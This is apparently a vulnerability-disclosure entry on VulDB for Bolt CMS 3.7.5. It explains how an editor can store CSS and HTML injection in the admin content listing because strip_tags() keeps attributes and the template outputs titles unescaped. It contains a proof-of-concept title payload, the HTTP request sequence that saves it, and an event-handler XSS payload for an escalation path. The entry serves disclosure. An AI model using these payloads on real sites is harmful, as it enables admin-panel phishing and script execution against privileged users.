| शीर्षक | bolt bolt-cms 3.7.5 Improper Neutralization of Script in Attributes in a Web Page |
|---|
| विवरण | **Title:** Stored XSS in admin content listing via strip_tags bypass on title field
**Package:** `bolt/bolt`
**Affected Versions:** Confirmed on v3.7.5 (latest); likely affects all 3.x releases
**CVSS Vector:** CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
**CWE:** CWE-80 (Improper Neutralization of Script-Related HTML Tags in a Web Page)
### Summary
An editor-role user can inject a CSS payload into a content record's title field. The Maid HTML sanitizer strips event-handler attributes (e.g., `onmouseover`) but preserves the `style` attribute, which is explicitly listed in `allowed-attribs`. The back-end content listing template renders the title with Twig's `|raw` filter after passing it through PHP's `strip_tags()` with an allow-list of tags. Because `strip_tags()` preserves all attributes on allowed tags, the `style` attribute is never removed. Any admin or other privileged user who views the content listing at `/bolt/overview/<contenttype>` receives the injected markup.
The underlying design flaw is the combination of `strip_tags($value, '<b><del><em><i><strong><s>')` (which retains all attributes) and `{{ title|raw }}` without further escaping. A misconfiguration of `allowed-attribs` in `config.yml`, or use of a `textarea`-type title field (which skips Maid entirely), would escalate this to a full event-handler XSS.
### Details
**Sanitizer configuration (`app/config/config.yml`):**
```yaml
htmlcleaner:
allowed_tags: [ div, span, p, br, hr, s, u, strong, em, i, b, ... ]
allowed_attributes: [ id, class, style, name, value, href, src, alt, title, ... ]
```
The `style` attribute is in the `allowed_attributes` list. The Maid library (`tdammers/htmlmaid`) only strips attributes that are not in this list.
**Field sanitiser (`src/Storage/Field/Type/TextType.php`):**
```php
class TextType extends FieldTypeBase implements SanitiserAwareInterface
{
use SanitiserAwareTrait;
// persist() calls getSanitiser()->sanitise($value, $isWysiwyg = false)
}
```
**Maid sanitiser call (`src/Storage/Field/Sanitiser/Sanitiser.php`, line 53-61):**
```php
$maid = new Maid([
'output-format' => 'html',
'allowed-tags' => $allowedTags,
'allowed-attribs' => $this->getAllowedAttributes(),
]);
$output = $maid->clean($value);
```
Maid strips `onmouseover` and other event-handler attributes because they are not in `allowed-attribs`. However `style` passes through unchanged.
**Title extraction (`src/Storage/Entity/ContentValuesTrait.php`, lines 539-549):**
```php
if ($allowBasicTags === true) {
$allowedTags = '<b><del><em><i><strong><s>';
} else {
$allowedTags = '';
}
// ...
$titleParts[] = strip_tags($value, $allowedTags);
```
PHP's `strip_tags()` with an allow-list preserves all attributes on allowed tags, including `style`.
**Listing template (`app/view/twig/_base/_listing.twig`, lines 159, 165, 168):**
```twig
{% set title = content.getTitle(true)|default("<em>(" ~ __('general.phrase.no-title') ~ ")</em>") %}
...
{{ title|raw -}} {# line 165: inside an <a> when record is editable #}
...
{{ title|raw }} {# line 168: when record is not editable #}
```
The title is output without HTML escaping. The injected `style` attribute reaches the browser.
### PoC
An editor account creates or edits a content record and sets the title to:
```
<b style="color:red;outline:3px solid red;background:yellow;padding:2px">CSS Inject</b>
```
After saving, any admin or privileged user who loads `/bolt/overview/entries` sees the injected CSS applied. The rendered HTML in the listing table contains:
```html
<a href="/bolt/editcontent/entries/1" title="Slug: css-inject">
<b style="color:red;outline:3px solid red;background:yellow;padding:2px">CSS Inject</b>
</a>
```
**Curl PoC (editor session):**
Step 1 - login and capture session cookies:
```
POST /bolt/login
user_login[username]=editor&user_login[password]=Editor1234%21&user_login[_token]=<TOKEN>&user_login[login]=Log+In
```
Step 2 - get edit form token:
```
GET /bolt/editcontent/entries/1
```
Step 3 - save malicious title:
```
POST /bolt/editcontent/entries/1
content_edit[_token]=<TOKEN>&content_edit[save]=&title=%3Cb+style%3D%22color%3Ared%22%3ECSS+Inject%3C%2Fb%3E&slug=css-inject&status=published&id=1&contenttype=entries
```
The injected payload is confirmed in the admin listing response:
```html
<b style="color:red;outline:3px solid red;background:yellow;padding:2px">CSS Inject</b>
```
**Escalation path:** If `allowed_attributes` in `config.yml` is extended to include `onfocus`, `onmouseenter`, or similar, full event-handler XSS becomes directly exploitable via the same code path. Additionally, if a content type uses `type: textarea` for its title field, the Maid sanitiser is bypassed entirely (`TextAreaType` does not implement `SanitiserAwareInterface`), and a payload such as `<b onmouseover="alert(document.domain)">XSS</b>` survives both storage and `strip_tags`, executing JavaScript on any admin viewing the listing.
### Impact
An editor-role user can inject persistent CSS into the Bolt admin panel, affecting any admin or privileged user who views the content listing. This enables UI redressing (e.g., covering buttons, creating fake UI elements, hiding alerts), CSS-based phishing overlays, and potentially session token exfiltration via CSS attribute selectors in some browser configurations. The design flaw (combining `strip_tags` with attribute-preserving allow-lists and `|raw` output) creates a latent full XSS risk that activates under any future change to the `allowed_attributes` configuration or when non-text field types are used as title fields. |
|---|
| स्रोत | ⚠️ https://github.com/bolt/bolt |
|---|
| उपयोगकर्ता | geochen (UID 78995) |
|---|
| सबमिशन | 23/05/2026 10:38 AM (17 दिन पहले) |
|---|
| संयम | 07/06/2026 05:45 PM (15 days later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 369131 [Bolt CMS तक 3.7.5 HTML Attribute TextType.php style HTML injection] |
|---|
| अंक | 19 |
|---|